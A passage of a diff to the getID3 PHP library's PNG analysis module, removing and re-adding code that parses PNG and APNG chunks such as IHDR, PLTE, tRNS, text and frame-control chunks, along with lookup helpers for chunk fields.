$thisfile_png_chunk_type_text['raw']['bit_depth']); - break; - - - case 'PLTE': // Palette - $thisfile_png_chunk_type_text['header'] = $chunk; - $paletteoffset = 0; - for ($i = 0; $i <= 255; $i++) { - //$thisfile_png_chunk_type_text['red'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); - //$thisfile_png_chunk_type_text['green'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); - //$thisfile_png_chunk_type_text['blue'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); - $red = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); - $green = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); - $blue = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); - $thisfile_png_chunk_type_text[$i] = (($red << 16) | ($green << 8) | ($blue)); - } - break; - - - case 'tRNS': // Transparency - $thisfile_png_chunk_type_text['header'] = $chunk; - switch ($thisfile_png['IHDR']['raw']['color_type']) { - case 0: - $thisfile_png_chunk_type_text['transparent_color_gray'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2)); - break; - - case 2: - $thisfile_png_chunk_type_text['transparent_color_red'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2)); - $thisfile_png_chunk_type_text['transparent_color_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 2)); - $thisfile_png_chunk_type_text['transparent_color_blue'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 2)); - break; - - case 3: - for ($i = 0; $i < strlen($chunk['data']); $i++) { - $thisfile_png_chunk_type_text['palette_opacity'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $i, 1)); - } - break; - - case 4: - case 6: - $this->error('Invalid color_type in tRNS chunk: '.$thisfile_png['IHDR']['raw']['color_type']); - break; - - default: - $this->warning('Unhandled color_type in tRNS chunk: '.$thisfile_png['IHDR']['raw']['color_type']); - break; - } - break; - - - case 'gAMA': // Image Gamma - $thisfile_png_chunk_type_text['header'] = $chunk; - $thisfile_png_chunk_type_text['gamma'] = getid3_lib::BigEndian2Int($chunk['data']) / 100000; - break; - - - case 'cHRM': // Primary Chromaticities - $thisfile_png_chunk_type_text['header'] = $chunk; - $thisfile_png_chunk_type_text['white_x'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)) / 100000; - $thisfile_png_chunk_type_text['white_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)) / 100000; - $thisfile_png_chunk_type_text['red_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 4)) / 100000; - $thisfile_png_chunk_type_text['red_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 4)) / 100000; - $thisfile_png_chunk_type_text['green_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 16, 4)) / 100000; - $thisfile_png_chunk_type_text['green_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 20, 4)) / 100000; - $thisfile_png_chunk_type_text['blue_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 24, 4)) / 100000; - $thisfile_png_chunk_type_text['blue_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 28, 4)) / 100000; - break; - - - case 'sRGB': // Standard RGB Color Space - $thisfile_png_chunk_type_text['header'] = $chunk; - $thisfile_png_chunk_type_text['reindering_intent'] = getid3_lib::BigEndian2Int($chunk['data']); - $thisfile_png_chunk_type_text['reindering_intent_text'] = $this->PNGsRGBintentLookup($thisfile_png_chunk_type_text['reindering_intent']); - break; - - - case 'iCCP': // Embedded ICC Profile - $thisfile_png_chunk_type_text['header'] = $chunk; - list($profilename, $compressiondata) = explode("\x00", $chunk['data'], 2); - $thisfile_png_chunk_type_text['profile_name'] = $profilename; - $thisfile_png_chunk_type_text['compression_method'] = getid3_lib::BigEndian2Int(substr($compressiondata, 0, 1)); - $thisfile_png_chunk_type_text['compression_profile'] = substr($compressiondata, 1); - - $thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']); - break; - - - case 'tEXt': // Textual Data - $thisfile_png_chunk_type_text['header'] = $chunk; - list($keyword, $text) = explode("\x00", $chunk['data'], 2); - $thisfile_png_chunk_type_text['keyword'] = $keyword; - $thisfile_png_chunk_type_text['text'] = $text; - - $thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text']; - break; - - - case 'zTXt': // Compressed Textual Data - $thisfile_png_chunk_type_text['header'] = $chunk; - list($keyword, $otherdata) = explode("\x00", $chunk['data'], 2); - $thisfile_png_chunk_type_text['keyword'] = $keyword; - $thisfile_png_chunk_type_text['compression_method'] = getid3_lib::BigEndian2Int(substr($otherdata, 0, 1)); - $thisfile_png_chunk_type_text['compressed_text'] = substr($otherdata, 1); - $thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']); - switch ($thisfile_png_chunk_type_text['compression_method']) { - case 0: - $thisfile_png_chunk_type_text['text'] = gzuncompress($thisfile_png_chunk_type_text['compressed_text']); - break; - - default: - // unknown compression method - break; - } - - if (isset($thisfile_png_chunk_type_text['text'])) { - $thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text']; - } - break; - - - case 'iTXt': // International Textual Data - $thisfile_png_chunk_type_text['header'] = $chunk; - list($keyword, $otherdata) = explode("\x00", $chunk['data'], 2); - $thisfile_png_chunk_type_text['keyword'] = $keyword; - $thisfile_png_chunk_type_text['compression'] = (bool) getid3_lib::BigEndian2Int(substr($otherdata, 0, 1)); - $thisfile_png_chunk_type_text['compression_method'] = getid3_lib::BigEndian2Int(substr($otherdata, 1, 1)); - $thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['compression_method']); - list($languagetag, $translatedkeyword, $text) = explode("\x00", substr($otherdata, 2), 3); - $thisfile_png_chunk_type_text['language_tag'] = $languagetag; - $thisfile_png_chunk_type_text['translated_keyword'] = $translatedkeyword; - - if ($thisfile_png_chunk_type_text['compression']) { - - switch ($thisfile_png_chunk_type_text['compression_method']) { - case 0: - $thisfile_png_chunk_type_text['text'] = gzuncompress($text); - break; - - default: - // unknown compression method - break; - } - - } else { - - $thisfile_png_chunk_type_text['text'] = $text; - - } - - if (isset($thisfile_png_chunk_type_text['text'])) { - $thisfile_png['comments'][$thisfile_png_chunk_type_text['keyword']][] = $thisfile_png_chunk_type_text['text']; - } - break; - - - case 'bKGD': // Background Color - $thisfile_png_chunk_type_text['header'] = $chunk; - switch ($thisfile_png['IHDR']['raw']['color_type']) { - case 0: - case 4: - $thisfile_png_chunk_type_text['background_gray'] = getid3_lib::BigEndian2Int($chunk['data']); - break; - - case 2: - case 6: - $thisfile_png_chunk_type_text['background_red'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth'])); - $thisfile_png_chunk_type_text['background_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth'])); - $thisfile_png_chunk_type_text['background_blue'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2 * $thisfile_png['IHDR']['raw']['bit_depth'], $thisfile_png['IHDR']['raw']['bit_depth'])); - break; - - case 3: - $thisfile_png_chunk_type_text['background_index'] = getid3_lib::BigEndian2Int($chunk['data']); - break; - - default: - break; - } - break; - - - case 'pHYs': // Physical Pixel Dimensions - $thisfile_png_chunk_type_text['header'] = $chunk; - $thisfile_png_chunk_type_text['pixels_per_unit_x'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); - $thisfile_png_chunk_type_text['pixels_per_unit_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); - $thisfile_png_chunk_type_text['unit_specifier'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 1)); - $thisfile_png_chunk_type_text['unit'] = $this->PNGpHYsUnitLookup($thisfile_png_chunk_type_text['unit_specifier']); - break; - - - case 'sBIT': // Significant Bits - $thisfile_png_chunk_type_text['header'] = $chunk; - switch ($thisfile_png['IHDR']['raw']['color_type']) { - case 0: - $thisfile_png_chunk_type_text['significant_bits_gray'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); - break; - - case 2: - case 3: - $thisfile_png_chunk_type_text['significant_bits_red'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); - $thisfile_png_chunk_type_text['significant_bits_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1)); - $thisfile_png_chunk_type_text['significant_bits_blue'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1)); - break; - - case 4: - $thisfile_png_chunk_type_text['significant_bits_gray'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); - $thisfile_png_chunk_type_text['significant_bits_alpha'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1)); - break; - - case 6: - $thisfile_png_chunk_type_text['significant_bits_red'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); - $thisfile_png_chunk_type_text['significant_bits_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1)); - $thisfile_png_chunk_type_text['significant_bits_blue'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1)); - $thisfile_png_chunk_type_text['significant_bits_alpha'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 3, 1)); - break; - - default: - break; - } - break; - - - case 'sPLT': // Suggested Palette - $thisfile_png_chunk_type_text['header'] = $chunk; - list($palettename, $otherdata) = explode("\x00", $chunk['data'], 2); - $thisfile_png_chunk_type_text['palette_name'] = $palettename; - $sPLToffset = 0; - $thisfile_png_chunk_type_text['sample_depth_bits'] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, 1)); - $sPLToffset += 1; - $thisfile_png_chunk_type_text['sample_depth_bytes'] = $thisfile_png_chunk_type_text['sample_depth_bits'] / 8; - $paletteCounter = 0; - while ($sPLToffset < strlen($otherdata)) { - $thisfile_png_chunk_type_text['red'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes'])); - $sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes']; - $thisfile_png_chunk_type_text['green'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes'])); - $sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes']; - $thisfile_png_chunk_type_text['blue'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes'])); - $sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes']; - $thisfile_png_chunk_type_text['alpha'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, $thisfile_png_chunk_type_text['sample_depth_bytes'])); - $sPLToffset += $thisfile_png_chunk_type_text['sample_depth_bytes']; - $thisfile_png_chunk_type_text['frequency'][$paletteCounter] = getid3_lib::BigEndian2Int(substr($otherdata, $sPLToffset, 2)); - $sPLToffset += 2; - $paletteCounter++; - } - break; - - - case 'hIST': // Palette Histogram - $thisfile_png_chunk_type_text['header'] = $chunk; - $hISTcounter = 0; - while ($hISTcounter < strlen($chunk['data'])) { - $thisfile_png_chunk_type_text[$hISTcounter] = getid3_lib::BigEndian2Int(substr($chunk['data'], $hISTcounter / 2, 2)); - $hISTcounter += 2; - } - break; - - - case 'tIME': // Image Last-Modification Time - $thisfile_png_chunk_type_text['header'] = $chunk; - $thisfile_png_chunk_type_text['year'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2)); - $thisfile_png_chunk_type_text['month'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 1)); - $thisfile_png_chunk_type_text['day'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 3, 1)); - $thisfile_png_chunk_type_text['hour'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 1)); - $thisfile_png_chunk_type_text['minute'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 5, 1)); - $thisfile_png_chunk_type_text['second'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 6, 1)); - $thisfile_png_chunk_type_text['unix'] = gmmktime($thisfile_png_chunk_type_text['hour'], $thisfile_png_chunk_type_text['minute'], $thisfile_png_chunk_type_text['second'], $thisfile_png_chunk_type_text['month'], $thisfile_png_chunk_type_text['day'], $thisfile_png_chunk_type_text['year']); - break; - - - case 'oFFs': // Image Offset - $thisfile_png_chunk_type_text['header'] = $chunk; - $thisfile_png_chunk_type_text['position_x'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4), false, true); - $thisfile_png_chunk_type_text['position_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4), false, true); - $thisfile_png_chunk_type_text['unit_specifier'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 1)); - $thisfile_png_chunk_type_text['unit'] = $this->PNGoFFsUnitLookup($thisfile_png_chunk_type_text['unit_specifier']); - break; - - - case 'pCAL': // Calibration Of Pixel Values - $thisfile_png_chunk_type_text['header'] = $chunk; - list($calibrationname, $otherdata) = explode("\x00", $chunk['data'], 2); - $thisfile_png_chunk_type_text['calibration_name'] = $calibrationname; - $pCALoffset = 0; - $thisfile_png_chunk_type_text['original_zero'] = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 4), false, true); - $pCALoffset += 4; - $thisfile_png_chunk_type_text['original_max'] = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 4), false, true); - $pCALoffset += 4; - $thisfile_png_chunk_type_text['equation_type'] = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 1)); - $pCALoffset += 1; - $thisfile_png_chunk_type_text['equation_type_text'] = $this->PNGpCALequationTypeLookup($thisfile_png_chunk_type_text['equation_type']); - $thisfile_png_chunk_type_text['parameter_count'] = getid3_lib::BigEndian2Int(substr($chunk['data'], $pCALoffset, 1)); - $pCALoffset += 1; - $thisfile_png_chunk_type_text['parameters'] = explode("\x00", substr($chunk['data'], $pCALoffset)); - break; - - - case 'sCAL': // Physical Scale Of Image Subject - $thisfile_png_chunk_type_text['header'] = $chunk; - $thisfile_png_chunk_type_text['unit_specifier'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); - $thisfile_png_chunk_type_text['unit'] = $this->PNGsCALUnitLookup($thisfile_png_chunk_type_text['unit_specifier']); - list($pixelwidth, $pixelheight) = explode("\x00", substr($chunk['data'], 1)); - $thisfile_png_chunk_type_text['pixel_width'] = $pixelwidth; - $thisfile_png_chunk_type_text['pixel_height'] = $pixelheight; - break; - - - case 'gIFg': // GIF Graphic Control Extension - $gIFgCounter = 0; - if (isset($thisfile_png_chunk_type_text) && is_array($thisfile_png_chunk_type_text)) { - $gIFgCounter = count($thisfile_png_chunk_type_text); - } - $thisfile_png_chunk_type_text[$gIFgCounter]['header'] = $chunk; - $thisfile_png_chunk_type_text[$gIFgCounter]['disposal_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 1)); - $thisfile_png_chunk_type_text[$gIFgCounter]['user_input_flag'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 1, 1)); - $thisfile_png_chunk_type_text[$gIFgCounter]['delay_time'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 2)); - break; - - - case 'gIFx': // GIF Application Extension - $gIFxCounter = 0; - if (isset($thisfile_png_chunk_type_text) && is_array($thisfile_png_chunk_type_text)) { - $gIFxCounter = count($thisfile_png_chunk_type_text); - } - $thisfile_png_chunk_type_text[$gIFxCounter]['header'] = $chunk; - $thisfile_png_chunk_type_text[$gIFxCounter]['application_identifier'] = substr($chunk['data'], 0, 8); - $thisfile_png_chunk_type_text[$gIFxCounter]['authentication_code'] = substr($chunk['data'], 8, 3); - $thisfile_png_chunk_type_text[$gIFxCounter]['application_data'] = substr($chunk['data'], 11); - break; - - - case 'IDAT': // Image Data - $idatinformationfieldindex = 0; - if (isset($thisfile_png['IDAT']) && is_array($thisfile_png['IDAT'])) { - $idatinformationfieldindex = count($thisfile_png['IDAT']); - } - unset($chunk['data']); - $thisfile_png_chunk_type_text[$idatinformationfieldindex]['header'] = $chunk; - break; - - case 'IEND': // Image Trailer - $thisfile_png_chunk_type_text['header'] = $chunk; - break; - - case 'acTL': // Animation Control chunk - // https://wiki.mozilla.org/APNG_Specification#.60acTL.60:_The_Animation_Control_Chunk - $thisfile_png['animation']['num_frames'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); // Number of frames - $thisfile_png['animation']['num_plays'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); // Number of times to loop this APNG. 0 indicates infinite looping. - - unset($chunk['data']); - $thisfile_png_chunk_type_text['header'] = $chunk; - break; - - case 'fcTL': // Frame Control chunk - // https://wiki.mozilla.org/APNG_Specification#.60fcTL.60:_The_Frame_Control_Chunk - $fcTL = array(); - $fcTL['sequence_number'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); // Sequence number of the animation chunk, starting from 0 - $fcTL['width'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); // Width of the following frame - $fcTL['height'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 4)); // Height of the following frame - $fcTL['x_offset'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 4)); // X position at which to render the following frame - $fcTL['y_offset'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 16, 4)); // Y position at which to render the following frame - $fcTL['delay_num'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 20, 2)); // Frame delay fraction numerator - $fcTL['delay_den'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 22, 2)); // Frame delay fraction numerator - $fcTL['dispose_op'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 23, 1)); // Type of frame area disposal to be done after rendering this frame - $fcTL['blend_op'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 23, 1)); // Type of frame area rendering for this frame - if ($fcTL['delay_den']) { - $fcTL['delay'] = $fcTL['delay_num'] / $fcTL['delay_den']; - } - $thisfile_png['animation']['fcTL'][$fcTL['sequence_number']] = $fcTL; - - unset($chunk['data']); - $thisfile_png_chunk_type_text['header'] = $chunk; - break; - - case 'fdAT': // Frame Data chunk - // https://wiki.mozilla.org/APNG_Specification#.60fcTL.60:_The_Frame_Control_Chunk - // "The `fdAT` chunk has the same purpose as an `IDAT` chunk. It has the same structure as an `IDAT` chunk, except preceded by a sequence number." - unset($chunk['data']); - $thisfile_png_chunk_type_text['header'] = $chunk; - break; - - default: - //unset($chunk['data']); - $thisfile_png_chunk_type_text['header'] = $chunk; - $this->warning('Unhandled chunk type: '.$chunk['type_text']); - break; - } - } - if (!empty($thisfile_png['animation']['num_frames']) && !empty($thisfile_png['animation']['fcTL'])) { - $info['video']['dataformat'] = 'apng'; - $info['playtime_seconds'] = 0; - foreach ($thisfile_png['animation']['fcTL'] as $seqno => $fcTL) { - $info['playtime_seconds'] += $fcTL['delay']; - } - } - return true; - } - - /** - * @param int $sRGB - * - * @return string - */ - public function PNGsRGBintentLookup($sRGB) { - static $PNGsRGBintentLookup = array( - 0 => 'Perceptual', - 1 => 'Relative colorimetric', - 2 => 'Saturation', - 3 => 'Absolute colorimetric' - ); - return (isset($PNGsRGBintentLookup[$sRGB]) ? $PNGsRGBintentLookup[$sRGB] : 'invalid'); - } - - /** - * @param int $compressionmethod - * - * @return string - */ - public function PNGcompressionMethodLookup($compressionmethod) { - static $PNGcompressionMethodLookup = array( - 0 => 'deflate/inflate' - ); - return (isset($PNGcompressionMethodLookup[$compressionmethod]) ? $PNGcompressionMethodLookup[$compressionmethod] : 'invalid'); - } - - /** - * @param int $unitid - * - * @return string - */ - public function PNGpHYsUnitLookup($unitid) { - static $PNGpHYsUnitLookup = array( - 0 => 'unknown', - 1 => 'meter' - ); - return (isset($PNGpHYsUnitLookup[$unitid]) ? $PNGpHYsUnitLookup[$unitid] : 'invalid'); - } - - /** - * @param int $unitid - * - * @return string - */ - public function PNGoFFsUnitLookup($unitid) { - static $PNGoFFsUnitLookup = array( - 0 => 'pixel', - 1 => 'micrometer' - ); - return (isset($PNGoFFsUnitLookup[$unitid]) ? $PNGoFFsUnitLookup[$unitid] : 'invalid'); - } - - /** - * @param int $equationtype - * - * @return string - */ - public function PNGpCALequationTypeLookup($equationtype) { - static $PNGpCALequationTypeLookup = array( - 0 => 'Linear mapping', - 1 => 'Base-e exponential mapping', - 2 => 'Arbitrary-base exponential mapping', - 3 => 'Hyperbolic mapping' - ); - return (isset($PNGpCALequationTypeLookup[$equationtype]) ? $PNGpCALequationTypeLookup[$equationtype] : 'invalid'); - } - - /** - * @param int $unitid - * - * @return string - */ - public function PNGsCALUnitLookup($unitid) { - static $PNGsCALUnitLookup = array( - 0 => 'meter', - 1 => 'radian' - ); - return (isset($PNGsCALUnitLookup[$unitid]) ? $PNGsCALUnitLookup[$unitid] : 'invalid'); - } - - /** - * @param int $color_type - * @param int $bit_depth - * - * @return int|false - */ - public function IHDRcalculateBitsPerSample($color_type, $bit_depth) { - switch ($color_type) { - case 0: // Each pixel is a grayscale sample. - return $bit_depth; - - case 2: // Each pixel is an R,G,B triple - return 3 * $bit_depth; - - case 3: // Each pixel is a palette index; a PLTE chunk must appear. - return $bit_depth; - - case 4: // Each pixel is a grayscale sample, followed by an alpha sample. - return 2 * $bit_depth; - - case 6: // Each pixel is an R,G,B triple, followed by an alpha sample. - return 4 * $bit_depth; - } - return false; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.graphic.png.php // +// module for analyzing PNG Image files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_png extends getid3_handler +{ + /** + * If data chunk is larger than this do not read it completely (getID3 only needs the first + * few dozen bytes for parsing). + * + * @var int + */ + public $max_data_bytes = 10000000; + + /** + * @return bool + */ + public function Analyze() { + + $info = &$this->getid3->info; + + // shortcut + $info['png'] = array(); + $thisfile_png = &$info['png']; + + $info['fileformat'] = 'png'; + $info['video']['dataformat'] = 'png'; + $info['video']['lossless'] = false; + + $this->fseek($info['avdataoffset']); + $PNGfiledata = $this->fread($this->getid3->fread_buffer_size()); + $offset = 0; + + $PNGidentifier = substr($PNGfiledata, $offset, 8); // $89 $50 $4E $47 $0D $0A $1A $0A + $offset += 8; + + if ($PNGidentifier != "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { + $this->error('First 8 bytes of file ('.getid3_lib::PrintHexBytes($PNGidentifier).') did not match expected PNG identifier'); + unset($info['fileformat']); + return false; + } + + while ((($this->ftell() - (strlen($PNGfiledata) - $offset)) < $info['filesize'])) { + $chunk = array(); + $chunk['data_length'] = getid3_lib::BigEndian2Int(substr($PNGfiledata, $offset, 4)); + if ($chunk['data_length'] === false) { + $this->error('Failed to read data_length at offset '.$offset); + return false; + } + $offset += 4; + $truncated_data = false; + while (((strlen($PNGfiledata) - $offset) < ($chunk['data_length'] + 4)) && ($this->ftell() < $info['filesize'])) { + if (strlen($PNGfiledata) < $this->max_data_bytes) { + $str = $this->fread($this->getid3->fread_buffer_size()); + if (strlen($str) > 0) { + $PNGfiledata .= $str; + } else { + $this->warning('At offset '.$offset.' chunk "'.substr($PNGfiledata, $offset, 4).'" no more data to read, data chunk will be truncated at '.(strlen($PNGfiledata) - 8).' bytes'); + break; + } + } else { + $this->warning('At offset '.$offset.' chunk "'.substr($PNGfiledata, $offset, 4).'" exceeded max_data_bytes value of '.$this->max_data_bytes.', data chunk will be truncated at '.(strlen($PNGfiledata) - 8).' bytes'); + break; + } + } + $chunk['type_text'] = substr($PNGfiledata, $offset, 4); + $offset += 4; + $chunk['type_raw'] = getid3_lib::BigEndian2Int($chunk['type_text']); + $chunk['data'] = substr($PNGfiledata, $offset, $chunk['data_length']); + $offset += $chunk['data_length']; + $chunk['crc'] = getid3_lib::BigEndian2Int(substr($PNGfiledata, $offset, 4)); + $offset += 4; + + $chunk['flags']['ancilliary'] = (bool) ($chunk['type_raw'] & 0x20000000); + $chunk['flags']['private'] = (bool) ($chunk['type_raw'] & 0x00200000); + $chunk['flags']['reserved'] = (bool) ($chunk['type_raw'] & 0x00002000); + $chunk['flags']['safe_to_copy'] = (bool) ($chunk['type_raw'] & 0x00000020); + + // shortcut + $thisfile_png[$chunk['type_text']] = array(); + $thisfile_png_chunk_type_text = &$thisfile_png[$chunk['type_text']]; + + switch ($chunk['type_text']) { + + case 'IHDR': // Image Header + $thisfile_png_chunk_type_text['header'] = $chunk; + $thisfile_png_chunk_type_text['width'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)); + $thisfile_png_chunk_type_text['height'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)); + $thisfile_png_chunk_type_text['raw']['bit_depth'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 1)); + $thisfile_png_chunk_type_text['raw']['color_type'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 9, 1)); + $thisfile_png_chunk_type_text['raw']['compression_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 10, 1)); + $thisfile_png_chunk_type_text['raw']['filter_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 11, 1)); + $thisfile_png_chunk_type_text['raw']['interlace_method'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 1)); + + $thisfile_png_chunk_type_text['compression_method_text'] = $this->PNGcompressionMethodLookup($thisfile_png_chunk_type_text['raw']['compression_method']); + $thisfile_png_chunk_type_text['color_type']['palette'] = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x01); + $thisfile_png_chunk_type_text['color_type']['true_color'] = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x02); + $thisfile_png_chunk_type_text['color_type']['alpha'] = (bool) ($thisfile_png_chunk_type_text['raw']['color_type'] & 0x04); + + $info['video']['resolution_x'] = $thisfile_png_chunk_type_text['width']; + $info['video']['resolution_y'] = $thisfile_png_chunk_type_text['height']; + + $info['video']['bits_per_sample'] = $this->IHDRcalculateBitsPerSample($thisfile_png_chunk_type_text['raw']['color_type'], $thisfile_png_chunk_type_text['raw']['bit_depth']); + break; + + + case 'PLTE': // Palette + $thisfile_png_chunk_type_text['header'] = $chunk; + $paletteoffset = 0; + for ($i = 0; $i <= 255; $i++) { + //$thisfile_png_chunk_type_text['red'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); + //$thisfile_png_chunk_type_text['green'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); + //$thisfile_png_chunk_type_text['blue'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); + $red = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); + $green = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); + $blue = getid3_lib::BigEndian2Int(substr($chunk['data'], $paletteoffset++, 1)); + $thisfile_png_chunk_type_text[$i] = (($red << 16) | ($green << 8) | ($blue)); + } + break; + + + case 'tRNS': // Transparency + $thisfile_png_chunk_type_text['header'] = $chunk; + switch ($thisfile_png['IHDR']['raw']['color_type']) { + case 0: + $thisfile_png_chunk_type_text['transparent_color_gray'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2)); + break; + + case 2: + $thisfile_png_chunk_type_text['transparent_color_red'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 2)); + $thisfile_png_chunk_type_text['transparent_color_green'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 2, 2)); + $thisfile_png_chunk_type_text['transparent_color_blue'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 2)); + break; + + case 3: + for ($i = 0; $i < strlen($chunk['data']); $i++) { + $thisfile_png_chunk_type_text['palette_opacity'][$i] = getid3_lib::BigEndian2Int(substr($chunk['data'], $i, 1)); + } + break; + + case 4: + case 6: + $this->error('Invalid color_type in tRNS chunk: '.$thisfile_png['IHDR']['raw']['color_type']); + break; + + default: + $this->warning('Unhandled color_type in tRNS chunk: '.$thisfile_png['IHDR']['raw']['color_type']); + break; + } + break; + + + case 'gAMA': // Image Gamma + $thisfile_png_chunk_type_text['header'] = $chunk; + $thisfile_png_chunk_type_text['gamma'] = getid3_lib::BigEndian2Int($chunk['data']) / 100000; + break; + + + case 'cHRM': // Primary Chromaticities + $thisfile_png_chunk_type_text['header'] = $chunk; + $thisfile_png_chunk_type_text['white_x'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 0, 4)) / 100000; + $thisfile_png_chunk_type_text['white_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 4, 4)) / 100000; + $thisfile_png_chunk_type_text['red_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 8, 4)) / 100000; + $thisfile_png_chunk_type_text['red_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 12, 4)) / 100000; + $thisfile_png_chunk_type_text['green_y'] = getid3_lib::BigEndian2Int(substr($chunk['data'], 16, 4)) / 100000; + 